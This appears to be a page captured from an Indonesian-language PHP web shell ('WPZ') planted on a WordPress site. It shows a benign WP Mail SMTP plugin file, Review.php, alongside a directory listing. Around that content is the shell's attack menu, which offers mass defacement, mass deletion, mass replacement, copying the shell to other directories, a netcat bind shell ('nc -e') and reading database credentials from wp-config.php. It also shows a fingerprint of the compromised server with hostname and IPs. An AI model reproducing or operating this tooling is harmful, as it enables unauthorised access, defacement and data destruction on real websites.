WPZ

/ data / web / 1 / 000 / 076 / 129 / 313906 / htdocs / wp-content / plugins / wp-mail-smtp / src / Admin / [dxwrx-r--r]
berkas terminal database massal sistem
/data/web/1/000/076/129/313906/htdocs/wp-content/plugins/wp-mail-smtp/src/Admin/Review.php (6.83 KB)
<?php

namespace WPMailSMTP\Admin;

use WPMailSMTP\Options;

/**
 * Class for admin notice requesting plugin review.
 *
 * @since 2.1.0
 */
class Review {

	/**
	 * The name of the WP option for the review notice data.
	 *
	 * Data attributes:
	 * - time
	 * - dismissed
	 *
	 * @since 2.1.0
	 */
	const NOTICE_OPTION = 'wp_mail_smtp_review_notice';

	/**
	 * Days the plugin waits before displaying a review request.
	 *
	 * @since 2.1.0
	 */
	const WAIT_PERIOD = 14;

	/**
	 * Initialize hooks.
	 *
	 * @since 2.1.0
	 */
	public function hooks() {

		add_action( 'admin_init', [ $this, 'admin_notices' ] );
		add_action( 'wp_ajax_wp_mail_smtp_review_dismiss', array( $this, 'review_dismiss' ) );
	}

	/**
	 * Display notices only in Network Admin if in Multisite.
	 * Otherwise, display in Admin Dashboard.
	 *
	 * @since 3.8.0
	 *
	 * @return void
	 */
	public function admin_notices() { // phpcs:ignore WPForms.PHP.HooksMethod.InvalidPlaceForAddingHooks

		if ( is_multisite() ) {
			add_action( 'network_admin_notices', [ $this, 'review_request' ] );
		} else {
			add_action( 'admin_notices', [ $this, 'review_request' ] );
		}
	}

	/**
	 * Add admin notices as needed for reviews.
	 *
	 * @since 2.1.0
	 */
	public function review_request() {

		// Only consider showing the review request to admin users.
		if ( ! is_super_admin() ) {
			return;
		}

		// Verify that we can do a check for reviews.
		$review = get_option( self::NOTICE_OPTION );
		$time   = time();
		$load   = false;

		if ( empty( $review ) ) {
			$review = [
				'time'      => $time,
				'dismissed' => false,
			];
			update_option( self::NOTICE_OPTION, $review );
		} else {
			// Check if it has been dismissed or not.
			if ( isset( $review['dismissed'] ) && ! $review['dismissed'] ) {
				$load = true;
			}
		}

		// If we cannot load, return early.
		if ( ! $load ) {
			return;
		}

		$this->review();
	}

	/**
	 * Maybe show review request.
	 *
	 * @since 2.1.0
	 */
	private function review() {

		// Get the currently selected mailer.
		$mailer = Options::init()->get( 'mail', 'mailer' );

		// Skip if no or the default mailer is selected.
		if ( empty( $mailer ) || $mailer === 'mail' ) {
			return;
		}

		// Fetch when plugin was initially activated.
		$activated = get_option( 'wp_mail_smtp_activated_time' );

		// Skip if the plugin activated time is not set.
		if ( empty( $activated ) ) {
			return;
		}

		$mailer_object = wp_mail_smtp()
			->get_providers()
			->get_mailer( $mailer, wp_mail_smtp()->get_processor()->get_phpmailer() );

		// Check if mailer setup is complete.
		$mailer_setup_complete = ! empty( $mailer_object ) ? $mailer_object->is_mailer_complete() : false;

		// Skip if the mailer is not set or the plugin is active for less then a defined number of days.
		if ( ! $mailer_setup_complete || ( $activated + ( DAY_IN_SECONDS * self::WAIT_PERIOD ) ) > time() ) {
			return;
		}

		// We have a candidate! Output a review message.
		?>
		<div class="notice notice-info is-dismissible wp-mail-smtp-review-notice">
			<div class="wp-mail-smtp-review-step wp-mail-smtp-review-step-1">
				<p><?php esc_html_e( 'Are you enjoying WP Mail SMTP?', 'wp-mail-smtp' ); ?></p>
				<p>
					<a href="#" class="wp-mail-smtp-review-switch-step" data-step="3"><?php esc_html_e( 'Yes', 'wp-mail-smtp' ); ?></a>&nbsp;&bull;&nbsp;
					<a href="#" class="wp-mail-smtp-review-switch-step" data-step="2"><?php esc_html_e( 'No', 'wp-mail-smtp' ); ?></a>
				</p>
			</div>
			<div class="wp-mail-smtp-review-step wp-mail-smtp-review-step-2" style="display: none">
				<p><?php esc_html_e( 'We\'re sorry to hear you aren\'t enjoying WP Mail SMTP. We would love a chance to improve. Could you take a minute and let us know what we can do better?', 'wp-mail-smtp' ); ?></p>
				<p>
					<?php
					printf(
						'<a href="%1$s" class="wp-mail-smtp-dismiss-review-notice wp-mail-smtp-review-out" target="_blank" rel="noopener noreferrer">%2$s</a>',
						// phpcs:ignore WordPress.Arrays.ArrayDeclarationSpacing.AssociativeArrayFound
						esc_url( wp_mail_smtp()->get_utm_url( 'https://wpmailsmtp.com/plugin-feedback/', [ 'medium' => 'review-notice', 'content' => 'Provide Feedback' ] ) ),
						esc_html__( 'Provide Feedback', 'wp-mail-smtp' )
					);
					?>
					&nbsp;&bull;&nbsp;
					<a href="#" class="wp-mail-smtp-dismiss-review-notice" target="_blank" rel="noopener noreferrer">
						<?php esc_html_e( 'No thanks', 'wp-mail-smtp' ); ?>
					</a>
				</p>
			</div>
			<div class="wp-mail-smtp-review-step wp-mail-smtp-review-step-3" style="display: none">
				<p><?php esc_html_e( 'That\'s fantastic! Would you consider giving it a 5-star rating on WordPress.org? It will help other users with email issues and it will mean the world to us!', 'wp-mail-smtp' ); ?></p>
				<p>
					<a href="https://wpmailsmtp.com/wpmailsmtp-wordpress-review/" class="wp-mail-smtp-dismiss-review-notice wp-mail-smtp-review-out" target="_blank" rel="noopener noreferrer">
						<?php esc_html_e( 'Yes, I\'ll rate it with 5-stars', 'wp-mail-smtp' ); ?>
					</a>&nbsp;&bull;&nbsp;
					<a href="#" class="wp-mail-smtp-dismiss-review-notice" target="_blank" rel="noopener noreferrer"><?php esc_html_e( 'No, maybe later', 'wp-mail-smtp' ); ?></a>&nbsp;&bull;&nbsp;
					<a href="#" class="wp-mail-smtp-dismiss-review-notice" target="_blank" rel="noopener noreferrer"><?php esc_html_e( 'I already did', 'wp-mail-smtp' ); ?></a>
				</p>
			</div>
		</div>
		<script type="text/javascript">
			jQuery( document ).ready( function ( $ ) {
				$( document ).on( 'click', '.wp-mail-smtp-dismiss-review-notice, .wp-mail-smtp-review-notice button', function( e ) {
					if ( ! $( this ).hasClass( 'wp-mail-smtp-review-out' ) ) {
						e.preventDefault();
					}
					$.post( ajaxurl, { action: 'wp_mail_smtp_review_dismiss' } );
					$( '.wp-mail-smtp-review-notice' ).remove();
				} );

				$( document ).on( 'click', '.wp-mail-smtp-review-switch-step', function( e ) {
					e.preventDefault();
					var target = parseInt( $( this ).attr( 'data-step' ), 10 );

					if ( target ) {
						var $notice = $( this ).closest( '.wp-mail-smtp-review-notice' );
						var $review_step = $notice.find( '.wp-mail-smtp-review-step-' + target );

						if ( $review_step.length > 0 ) {
							$notice.find( '.wp-mail-smtp-review-step:visible' ).fadeOut( function() {
								$review_step.fadeIn();
							} );
						}
					}
				} );
			} );
		</script>
		<?php
	}

	/**
	 * Dismiss the review admin notice.
	 *
	 * @since 2.1.0
	 */
	public function review_dismiss() {

		$review              = get_option( self::NOTICE_OPTION, [] );
		$review['time']      = time();
		$review['dismissed'] = true;
		update_option( self::NOTICE_OPTION, $review );

		if ( is_super_admin() && is_multisite() ) {
			$site_list = get_sites();
			foreach ( (array) $site_list as $site ) {
				switch_to_blog( $site->blog_id );

				update_option( self::NOTICE_OPTION, $review );

				restore_current_blog();
			}
		}

		wp_send_json_success();
	}
}
namawaktuukuranownerpermaksi
..
DebugEvents/ 2026-07-21 14:1448.33 KB 76129f60960:kundendxwrx-r--r
EmailSendingErrors/ 2026-07-21 14:1467.62 KB 76129f60960:kundendxwrx-r--r
Pages/ 2026-07-21 14:14223.83 KB 76129f60960:kundendxwrx-r--r
Recommendations/ 2026-07-21 14:1498.98 KB 76129f60960:kundendxwrx-r--r
AdminBarMenu.php 2026-07-21 14:143.8 KB 76129f60960:kunden-xw-x-----
edt
Area.php 2026-07-21 14:1451.57 KB 76129f60960:kunden-xw-x-----
edt
ConnectionSettings.php 2026-07-21 14:1417.6 KB 76129f60960:kunden-xw-x-----
edt
DashboardWidget.php 2026-07-21 14:1421.88 KB 76129f60960:kunden-xw-x-----
edt
DomainChecker.php 2026-07-21 14:144.48 KB 76129f60960:kunden-xw-x-----
edt
Education.php 2026-07-21 14:142.87 KB 76129f60960:kunden-xw-x-----
edt
FlyoutMenu.php 2026-07-21 14:144.12 KB 76129f60960:kunden-xw-x-----
edt
Notifications.php 2026-07-21 14:1413.29 KB 76129f60960:kunden-xw-x-----
edt
PageAbstract.php 2026-07-21 14:143.1 KB 76129f60960:kunden-xw-x-----
edt
PageInterface.php 2026-07-21 14:14551 B 76129f60960:kunden-xw-x-----
edt
ParentPageAbstract.php 2026-07-21 14:147.44 KB 76129f60960:kunden-xw-x-----
edt
PluginsInstallSkin.php 2026-07-21 14:141.19 KB 76129f60960:kunden-xw-x-----
edt
Review.php 2026-07-21 14:146.83 KB 76129f60960:kunden-xw-x-----
edt
SetupWizard.php 2026-07-21 14:1462.41 KB 76129f60960:kunden-xw-x-----
edt
WooCommerceActiveLayerEducation.php 2026-07-21 14:1411.42 KB 76129f60960:kunden-xw-x-----
edt
aksi pada path manual

cwd: /data/web/1/000/076/129/313906/htdocs/wp-content/plugins/wp-mail-smtp/src/Admin
kredensial dibaca dari wp-config.php terdekat; reset password memakai MD5 legacy
mass deface
mass delete
mass replace
chmod massal
unameLinux w38 6.12.118+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.118-1 (2026-11-20) x86_64 softwareApache php8.4.28 / cgi-fcgi / Linux user76129f60960 (52449:5000) host / ip82.100.220.68 / 216.73.216.212 disk bebas2.68 TB limitmem 512M / max 0 open_basedirNONE disable_functionsNONE ekstensiCore, date, libxml, openssl, pcre, zlib, filter, hash, json, pcntl, random, Reflection, SPL, session, standard, sodium, cgi-fcgi, mysqlnd, PDO, xml, apcu, bcmath, bz2, calendar, ctype, curl, dba, dom, mbstring, FFI, fileinfo, ftp, gd, gettext, gmp, iconv, imagick, imap, intl, exif
ini_set runtime
salin shell ke direktori lain
bind port (nc -e)
.htaccess
tes mail
styroporzuschnitte24.de · 2026 · WPZ-OK